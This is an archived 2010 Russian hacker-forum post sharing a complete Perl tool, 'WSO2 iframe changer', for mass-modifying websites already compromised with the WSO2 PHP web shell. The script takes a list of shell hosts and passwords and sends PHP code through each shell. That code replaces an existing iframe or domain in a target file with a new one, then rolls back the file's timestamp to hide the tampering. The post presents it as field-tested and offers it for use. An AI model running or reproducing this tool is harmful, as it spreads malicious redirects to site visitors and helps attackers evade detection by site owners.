Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

WSO2 ifrаmе changer

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> WSO2 ifrаmе changer
Имя
Сообщение << Старые топики   Новые топики >>
WSO2 ifrаmе changer - 2010-02-25 22:20:38.936666   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
WSO2 ifrаmе changer

PERL-скрипт

Исключительно для WSO2

https://forum.antichat.net/threadnav103155-1-10.html

Делал для себя, испытан в боевых условиях, для тех, у кого нет TDS или проблемы с TDS или еще что, в общем оно может:

1. Многопоточный

2. Код шелла никак не трогается - можете работать сразу с вашими

3. Принцип работы - меняет старый фрейм в определенном файле на новый (или любой другой текст, на ваше усмотрение)

4. Поддерживаются как шеллы с паролем, так и без

5. Алгоритм - все делается через один POST запрос (т.е. имитация вашей работы в шелле) через PHP-код - предусмотрено возможностями шелла

6. Timeback(*nix/win) - наконец-то все делается автоматически! Речь идет о времени изменения файла. Т.е. сначала берется текущее время файла (тем самым вы уже избавлены от проверки изменения времени файла после вмешательства в его структуру), вносятся изменения и затем происходит откат времени.

7. Возможность вести логи по каждому файлу на каждом хосте, или отключить их ведения (необходимо в тестовом режиме), скрин лога по одному файлу :

">

8. Возможность выставить кодировку.

9. Файл настроек - сам код + файл shells.txt
С кодом все просто, файл shells.txt (пример):

localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|1.txt
localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|2.txt

1) все параметры разделяются с помощью "|"

1-й параметр: - хост, где ваш шелл
2-й параметр: - путь до шелла относительно хоста (всегда начинается с "/")
3-й параметр: - пароль на шелл
4-й параметр: - абсолютный путь до файла с фреймом (в конце обязательно слеш)
5-й параметр: - имя файла

2) новый файл/хост - просто с новой строчки

10. Ну и наконец сам код:
#!/usr/bin/perl - UTF-8 encoding ################################################################################################################ # WSO2 ifrаmе changer by Pashkela [BugTrack Team] © 2010 # ################################################################################################################ use IO::Socket; use threads; use threads::shared; my $num : shared; ################################################################################################################ # Настройки # ################################################################################################################ $shells = 'shells.txt'; # файл с настройками $kol_threads = 10; # Кол-во потоков $timeout = 10; # таймаут в секундах $log = 1; # Вести логи по каждому файлу, 1 = true, 0 = false $old = '123'; # что меняем $new = 'some_new'; # на что меняем $charset = 'UTF-8'; # кодировка ################################################################################################################ open(FILE, "&lt;", $shells); while(&lt;FILE&gt;) { chomp; if($_) {push(@shells, $_)} } close(FILE); $size = @shells; ################################################################################################################ if ($size &lt; 10) { $thr = $size; } else { $thr = $kol_threads; } $num = -1; # Не меняется for(0..$thr) { $trl[$_] = threads-&gt;create(\&gets); } for(0..$thr) { $trl[$_]-&gt;join; } sub gets { $| = 1; while ($num &lt; $size) { { lock($num); $num++; } ($shell_host,$shell_path,$pass,$path_to_frame_file,$file) = split(/\|/,$shells[$num]); $code = '$time_file=filemtime("'. $path_to_frame_file . $file .'");$content=file_get_contents("' . $path_to_frame_file . $file . '");$content = str_replace("' . $old . '","' . $new . '", $content);file_put_contents("' . $path_to_frame_file . $file . '",$content);touch("' . $path_to_frame_file . $file . '", $time_file);'; frame(); } print $num . "\r"; } sub req { my($host, $path, $type, $data) = @_; my $sock = new IO::Socket::INET( PeerAddr =&gt; $host, PeerPort =&gt; 80, PeerProto =&gt; 'tcp', TimeOut =&gt; $timeout); my $request = "$type $path HTTP/1.1\n". "Host: $host\n"; $request .= "Content-type: application/x-www-form-urlencoded\n". "Content-Length: ".length($data)."\n\n".$data; print $sock $request; my $answ = undef; while(my $buf = &lt;$sock&gt;) { $answ .= $buf; } return $answ; } sub frame { $answ2 = req($shell_host, $shell_path, 'POST', "pass=$pass&a=Php&c=$path_to_frame_file&p1=$code&p2=&p3=&charset=$charset"); print "HOST: [" . $shell_host . "]\n"; print "File: [" . $path_to_frame_file . $file . "]...[+]\n"; print "-----------------------------------------------------------------------------------\n"; if ($log == 1) { open( FILE, "&gt;&gt;" . "z_" . $shell_host . "_" . $file . ".html" ); # Файл для записи результатов print FILE "==========================================================================\n"; print FILE $answ2; close (FILE); } }
PS: Предварительно настоятельно рекомендуется потестить локально. Замечания, критика и пожелания принимаются. Планету хакерам.

PPSS: обычно что? Правильно, меняется только домен, в итоге:

$old = 'старый_домен'; # что меняем
$new = 'новый_домен'; # на что меняем
Post #: 1
Страниц:  [1]
Все форумы >> [Веб-программинг] >> WSO2 ifrаmе changer







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.